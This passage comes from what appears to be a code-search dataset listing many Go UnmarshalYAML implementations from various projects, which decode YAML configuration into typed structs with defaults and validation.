{\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: \n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}","func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = InterfaceString(s)\n\treturn err\n}","func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype C Scenario\n\tnewConfig := (*C)(c)\n\tif err := unmarshal(&newConfig); err != nil {\n\t\treturn err\n\t}\n\tif c.Database == nil {\n\t\treturn fmt.Errorf(\"Database must not be empty\")\n\t}\n\tif c.Collection == nil {\n\t\treturn fmt.Errorf(\"Collection must not be empty\")\n\t}\n\tswitch p := c.Parallel; {\n\tcase p == nil:\n\t\tc.Parallel = Int(1)\n\tcase *p < 1:\n\t\treturn fmt.Errorf(\"Parallel must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.BufferSize; {\n\tcase s == nil:\n\t\tc.BufferSize = Int(1000)\n\tcase *s < 1:\n\t\treturn fmt.Errorf(\"BufferSize must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.Repeat; {\n\tcase s == nil:\n\t\tc.Repeat = Int(1)\n\tcase *s < 0:\n\t\treturn fmt.Errorf(\"Repeat must be greater than or equal to 0\")\n\tdefault:\n\t}\n\tif len(c.Queries) == 0 {\n\t\treturn fmt.Errorf(\"Queries must not be empty\")\n\t}\n\treturn nil\n}","func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar t string\n\terr := unmarshal(&t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\n\t\t*s = val\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"'%s' is not a valid token strategy\", t)\n}","func (d *DurationMillis) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ttc := OfMilliseconds(candidate)\n\t*d = tc\n\treturn nil\n}","func (c *WebhookConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultWebhookConfig\n\ttype plain WebhookConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.URL == \"\" {\n\t\treturn fmt.Errorf(\"missing URL in webhook config\")\n\t}\n\treturn checkOverflow(c.XXX, \"webhook config\")\n}","func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = dur\n\treturn nil\n}","func (r *Rank) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar i uint32\n\tif err := unmarshal(&i); err != nil {\n\t\treturn err\n\t}\n\tif err := checkRank(Rank(i)); err != nil {\n\t\treturn err\n\t}\n\t*r = Rank(i)\n\treturn nil\n}","func (u *URL) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\turlp, err := url.Parse(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\tu.URL = urlp\n\treturn nil\n}","func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\trate, err := ParseRate(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = rate\n\treturn nil\n}","func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias PortMapping\n\taux := &struct {\n\t\tProtocol string `json:\"protocol\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(p),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\tif aux.Protocol != \"\" {\n\t\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown protocol value: %s\", aux.Protocol)\n\t\t}\n\t\tp.Protocol = PortMappingProtocol(val)\n\t}\n\treturn nil\n}","func (c *VictorOpsConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultVictorOpsConfig\n\ttype plain VictorOpsConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.APIKey == \"\" {\n\t\treturn fmt.Errorf(\"missing API key in VictorOps config\")\n\t}\n\tif c.RoutingKey == \"\" {\n\t\treturn fmt.Errorf(\"missing Routing key in VictorOps config\")\n\t}\n\treturn checkOverflow(c.XXX, \"victorops config\")\n}","func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar v interface{}\n\terr := unmarshal(&v)\n\tif err != nil {\n\t\treturn err\n\t}\n\td.Duration, err = durationFromInterface(v)\n\tif d.Duration < 0 {\n\t\td.Duration *= -1\n\t}\n\treturn err\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype raw Config\n\tvar cfg raw\n\tif c.URL.URL != nil {\n\t\t// we used flags to set that value, which already has sane default.\n\t\tcfg = raw(*c)\n\t} else {\n\t\t// force sane defaults.\n\t\tcfg = raw{\n\t\t\tBackoffConfig: util.BackoffConfig{\n\t\t\t\tMaxBackoff: 5 * time.Second,\n\t\t\t\tMaxRetries: 5,\n\t\t\t\tMinBackoff: 100 * time.Millisecond,\n\t\t\t},\n\t\t\tBatchSize: 100 * 1024,\n\t\t\tBatchWait: 1 * time.Second,\n\t\t\tTimeout: 10 * time.Second,\n\t\t}\n\t}\n\n\tif err := unmarshal(&cfg); err != nil {\n\t\treturn err\n\t}\n\n\t*c = Config(cfg)\n\treturn nil\n}","func (act *Action) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// creating anonimus struct to avoid recursion\n\tvar a struct {\n\t\tName ActionType `yaml:\"type\"`\n\t\tTimeout time.Duration `yaml:\"timeout,omitempty\"`\n\t\tOnFail onFailAction `yaml:\"on-fail,omitempty\"`\n\t\tInterval time.Duration `yaml:\"interval,omitempty\"`\n\t\tEnabled bool `yaml:\"enabled,omitempty\"`\n\t\tRecordPending bool `yaml:\"record-pending,omitempty\"`\n\t\tRole actionRole `yaml:\"role,omitempty\"`\n\t}\n\t// setting default\n\ta.Name = \"defaultName\"\n\ta.Timeout = 20 * time.Second\n\ta.OnFail = of_ignore\n\ta.Interval = 20 * time.Second\n\ta.Enabled = true\n\ta.RecordPending = false\n\ta.Role = ar_none\n\tif err := unmarshal(&a); err != nil {\n\t\treturn err\n\t}\n\t// copying into aim struct fields\n\t*act = Action{a.Name, a.Timeout, a.OnFail, a.Interval,\n\t\ta.Enabled, a.RecordPending, a.Role, nil}\n\treturn nil\n}","func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := c.AdvancedCount.IsValid(); err != nil {\n\t\treturn err\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := unmarshal(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}","func (p *Package) UnmarshalYAML(value *yaml.Node) error {\n\tpkg := &Package{}\n\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\n\tvar err error // for use in the switch below\n\n\tlog.Trace().Interface(\"Node\", value).Msg(\"Pkg UnmarshalYAML\")\n\tif value.Tag != \"!!map\" {\n\t\treturn fmt.Errorf(\"unable to unmarshal yaml: value not map (%s)\", value.Tag)\n\t}\n\n\tfor i, node := range value.Content {\n\t\tlog.Trace().Interface(\"node1\", node).Msg(\"\")\n\t\tswitch node.Value {\n\t\tcase \"name\":\n\t\t\tpkg.Name = value.Content[i+1].Value\n\t\t\tif pkg.Name == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase \"version\":\n\t\t\tpkg.Version = value.Content[i+1].Value\n\t\tcase \"present\":\n\t\t\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().Err(err).Msg(\"can't parse installed field\")\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Trace().Interface(\"pkg\", pkg).Msg(\"what's in the box?!?!\")\n\t*p = *pkg\n\n\treturn nil\n}","func (c *SDConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultSDConfig\n\ttype plain SDConfig\n\terr := unmarshal((*plain)(c))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(c.Files) == 0 {\n\t\treturn errors.New(\"file service discovery config must contain at least one path name\")\n\t}\n\tfor _, name := range c.Files {\n\t\tif !patFileSDName.MatchString(name) {\n\t\t\treturn fmt.Errorf(\"path name %q is not valid for file discovery\", name)\n\t\t}\n\t}\n\treturn nil\n}"],"string":"[\n \"func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn nil\\n}\",\n \"func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\\n\\ttag := GetTag(node.Value)\\n\\tf.Name = tag.Name\\n\\tf.Negates = tag.Negates\\n\\tlog.Tracef(\\\"Unmarshal %s into %s\\\\n\\\", node.Value, tag)\\n\\treturn nil\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Fields)\\n}\",\n \"func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tmsg.unmarshal = unmarshal\\n\\treturn nil\\n}\",\n \"func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype rawContainerDef ContainerDef\\n\\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\\n\\tif err := unmarshal(&raw); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*cd = ContainerDef(raw)\\n\\treturn nil\\n}\",\n \"func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar addRaw opAddRaw\\n\\terr := unmarshal(&addRaw)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"decode OpAdd: %s\\\", err)\\n\\t}\\n\\n\\treturn op.unmarshalFromOpAddRaw(addRaw)\\n}\",\n \"func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar typeDecoder map[string]rawMessage\\n\\terr := unmarshal(&typeDecoder)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn o.unmarshalDecodedType(typeDecoder)\\n}\",\n \"func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\\n\\tvar j string\\n\\terr := yaml.Unmarshal([]byte(n.Value), &j)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\\n\\t*s = toID[j]\\n\\treturn nil\\n}\",\n \"func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar strVal string\\n\\terr := unmarshal(&strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tparsed, err := Parse(strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*b = parsed\\n\\treturn nil\\n}\",\n \"func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar tmp map[string]interface{}\\n\\tif err := unmarshal(&tmp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tdata, err := json.Marshal(tmp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn json.Unmarshal(data, m)\\n}\",\n \"func UnmarshalYAML(config *YAMLConfiguration, path string) {\\n\\tdata, err := ioutil.ReadFile(path)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\terr = yaml.Unmarshal(data, config)\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\tos.Exit(1)\\n\\t}\\n}\",\n \"func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype tmp Connection\\n\\tvar s struct {\\n\\t\\ttmp `yaml:\\\",inline\\\"`\\n\\t}\\n\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unable to parse YAML: %s\\\", err)\\n\\t}\\n\\n\\t*r = Connection(s.tmp)\\n\\n\\tif err := utils.ValidateTags(r); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// If options weren't specified, create an empty map.\\n\\tif r.Options == nil {\\n\\t\\tr.Options = make(map[string]interface{})\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = ParseTransformString(s)\\n\\treturn err\\n}\",\n \"func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// new temp as map[string]interface{}.\\n\\ttemp := make(map[string]interface{})\\n\\n\\t// unmarshal temp as yaml.\\n\\tif err := unmarshal(temp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn this.unmarshal(temp)\\n}\",\n \"func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar res map[string]interface{}\\n\\tif err := unmarshal(&res); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr := mapstructure.Decode(res, &at)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\\n\\t\\tat.NonApplicable = true\\n\\t}\\n\\treturn nil\\n}\",\n \"func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar ktyp string\\n\\terr := unmarshal(&ktyp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*k = KeventNameToKtype(ktyp)\\n\\treturn nil\\n}\",\n \"func (r *rawMessage) UnmarshalYAML(b []byte) error {\\n\\t*r = b\\n\\treturn nil\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t}\\n\\n\\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %w\\\", value.Line, err)\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tswitch act := RelabelAction(strings.ToLower(s)); act {\\n\\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\\n\\t\\t*a = act\\n\\t\\treturn nil\\n\\t}\\n\\treturn fmt.Errorf(\\\"unknown relabel action %q\\\", s)\\n}\",\n \"func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\"=\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn f.setFromString(s)\\n}\",\n \"func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar mvList []string\\n\\tif err := unmarshal(&mvList); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed, err := ParseMoves(mvList)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*moves = parsed\\n\\treturn nil\\n}\",\n \"func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&b.Kv)\\n}\",\n \"func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\" \\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar u64 uint64\\n\\tif unmarshal(&u64) == nil {\\n\\t\\tAtomicStoreByteCount(bc, ByteCount(u64))\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar s string\\n\\tif unmarshal(&s) == nil {\\n\\t\\tv, err := ParseByteCount(s)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"%q: %w: %v\\\", s, ErrMalformedRepresentation, err)\\n\\t\\t}\\n\\t\\tAtomicStoreByteCount(bc, v)\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"%w: unexpected type\\\", ErrMalformedRepresentation)\\n}\",\n \"func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain ArtifactoryParams\\n\\tif err := unmarshal((*plain)(s)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed, err := ParseMove(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*mv = *parsed\\n\\treturn nil\\n}\",\n \"func unmarsharlYaml(byteArray []byte) Config {\\n\\tvar cfg Config\\n\\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"error: %v\\\", err)\\n\\t}\\n\\treturn cfg\\n}\",\n \"func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&tf.Tasks); err == nil {\\n\\t\\ttf.Version = \\\"1\\\"\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar taskfile struct {\\n\\t\\tVersion string\\n\\t\\tExpansions int\\n\\t\\tOutput string\\n\\t\\tIncludes yaml.MapSlice\\n\\t\\tVars Vars\\n\\t\\tEnv Vars\\n\\t\\tTasks Tasks\\n\\t}\\n\\tif err := unmarshal(&taskfile); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttf.Version = taskfile.Version\\n\\ttf.Expansions = taskfile.Expansions\\n\\ttf.Output = taskfile.Output\\n\\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttf.Includes = includes\\n\\ttf.IncludeDefaults = defaultInclude\\n\\ttf.Vars = taskfile.Vars\\n\\ttf.Env = taskfile.Env\\n\\ttf.Tasks = taskfile.Tasks\\n\\tif tf.Expansions <= 0 {\\n\\t\\ttf.Expansions = 2\\n\\t}\\n\\treturn nil\\n}\",\n \"func (op OpRemove) MarshalYAML() (interface{}, error) {\\n\\treturn op.Field.String(), nil\\n}\",\n \"func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar cl CommandList\\n\\tcommandCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&cl) },\\n\\t\\tAssign: func() { *r = Run{Command: cl} },\\n\\t}\\n\\n\\ttype runType Run // Use new type to avoid recursion\\n\\tvar runItem runType\\n\\trunCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runItem) },\\n\\t\\tAssign: func() { *r = Run(runItem) },\\n\\t\\tValidate: func() error {\\n\\t\\t\\tactionUsedList := []bool{\\n\\t\\t\\t\\tlen(runItem.Command) != 0,\\n\\t\\t\\t\\tlen(runItem.SubTaskList) != 0,\\n\\t\\t\\t\\trunItem.SetEnvironment != nil,\\n\\t\\t\\t}\\n\\n\\t\\t\\tcount := 0\\n\\t\\t\\tfor _, isUsed := range actionUsedList {\\n\\t\\t\\t\\tif isUsed {\\n\\t\\t\\t\\t\\tcount++\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tif count > 1 {\\n\\t\\t\\t\\treturn errors.New(\\\"only one action can be defined in `run`\\\")\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\n\\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\\n}\",\n \"func (r *repoEntry) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar u map[string]string\\n\\tif err := unmarshal(&u); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor k, v := range u {\\n\\t\\tswitch key := strings.ToLower(k); key {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\tr.Name = v\\n\\t\\tcase \\\"url\\\":\\n\\t\\t\\tr.URL = v\\n\\t\\tcase \\\"useoauth\\\":\\n\\t\\t\\tr.UseOAuth = strings.ToLower(v) == \\\"true\\\"\\n\\t\\t}\\n\\t}\\n\\tif r.URL == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"repo entry missing url: %+v\\\", u)\\n\\t}\\n\\treturn nil\\n}\",\n \"func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\\n\\tvo := reflect.ValueOf(o)\\n\\tunmarshalFn := yaml.Unmarshal\\n\\tif strict {\\n\\t\\tunmarshalFn = yaml.UnmarshalStrict\\n\\t}\\n\\tj, err := yamlToJSON(y, &vo, unmarshalFn)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error converting YAML to JSON: %v\\\", err)\\n\\t}\\n\\n\\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error unmarshaling JSON: %v\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar tp string\\n\\tunmarshal(&tp)\\n\\tlevel, exist := LogLevelMapping[tp]\\n\\tif !exist {\\n\\t\\treturn errors.New(\\\"invalid mode\\\")\\n\\t}\\n\\t*l = level\\n\\treturn nil\\n}\",\n \"func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tlbSet := model.LabelSet{}\\n\\terr := unmarshal(&lbSet)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tv.LabelSet = lbSet\\n\\treturn nil\\n}\",\n \"func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmashal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdur, err := time.ParseDuration(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = duration(dur)\\n\\treturn nil\\n}\",\n \"func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\n\\tif err := unmarshal(&s); err == nil {\\n\\t\\ti.File = s\\n\\t\\treturn nil\\n\\t}\\n\\tvar str struct {\\n\\t\\tFile string `yaml:\\\"file,omitempty\\\"`\\n\\t\\tRepository string `yaml:\\\"repository,omitempty\\\"`\\n\\t\\tNamespaceURI string `yaml:\\\"namespace_uri,omitempty\\\"`\\n\\t\\tNamespacePrefix string `yaml:\\\"namespace_prefix,omitempty\\\"`\\n\\t}\\n\\tif err := unmarshal(&str); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ti.File = str.File\\n\\ti.Repository = str.Repository\\n\\ti.NamespaceURI = str.NamespaceURI\\n\\ti.NamespacePrefix = str.NamespacePrefix\\n\\treturn nil\\n}\",\n \"func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar value string\\n\\tif err := unmarshal(&value); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := t.Set(value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to parse '%s' to Type: %v\\\", value, err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar str string\\n\\terr := unmarshal(&str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*key, err = NewPrivateKey(str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar runSlice []*Run\\n\\tsliceCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runSlice) },\\n\\t\\tAssign: func() { *rl = runSlice },\\n\\t}\\n\\n\\tvar runItem *Run\\n\\titemCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runItem) },\\n\\t\\tAssign: func() { *rl = RunList{runItem} },\\n\\t}\\n\\n\\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\\n}\",\n \"func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate bool\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tb.set(candidate)\\n\\treturn nil\\n}\",\n \"func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&r.ScalingConfig); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif !r.ScalingConfig.IsEmpty() {\\n\\t\\t// Successfully unmarshalled ScalingConfig fields, return\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := value.Decode(&r.Value); err != nil {\\n\\t\\treturn errors.New(`unable to unmarshal into int or composite-style map`)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar err error\\n\\tvar str string\\n\\tif err = unmarshal(&str); err == nil {\\n\\t\\tw.Command = str\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar commandArray []string\\n\\tif err = unmarshal(&commandArray); err == nil {\\n\\t\\tw.Commands = commandArray\\n\\t\\treturn nil\\n\\t}\\n\\treturn nil //TODO: should be an error , something like UNhhandledError\\n}\",\n \"func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar loglevelString string\\n\\terr := unmarshal(&loglevelString)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tloglevelString = strings.ToLower(loglevelString)\\n\\tswitch loglevelString {\\n\\tcase \\\"error\\\", \\\"warn\\\", \\\"info\\\", \\\"debug\\\":\\n\\tdefault:\\n\\t\\treturn fmt.Errorf(\\\"Invalid loglevel %s Must be one of [error, warn, info, debug]\\\", loglevelString)\\n\\t}\\n\\n\\t*loglevel = Loglevel(loglevelString)\\n\\treturn nil\\n}\",\n \"func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar rawTask map[string]interface{}\\n\\terr 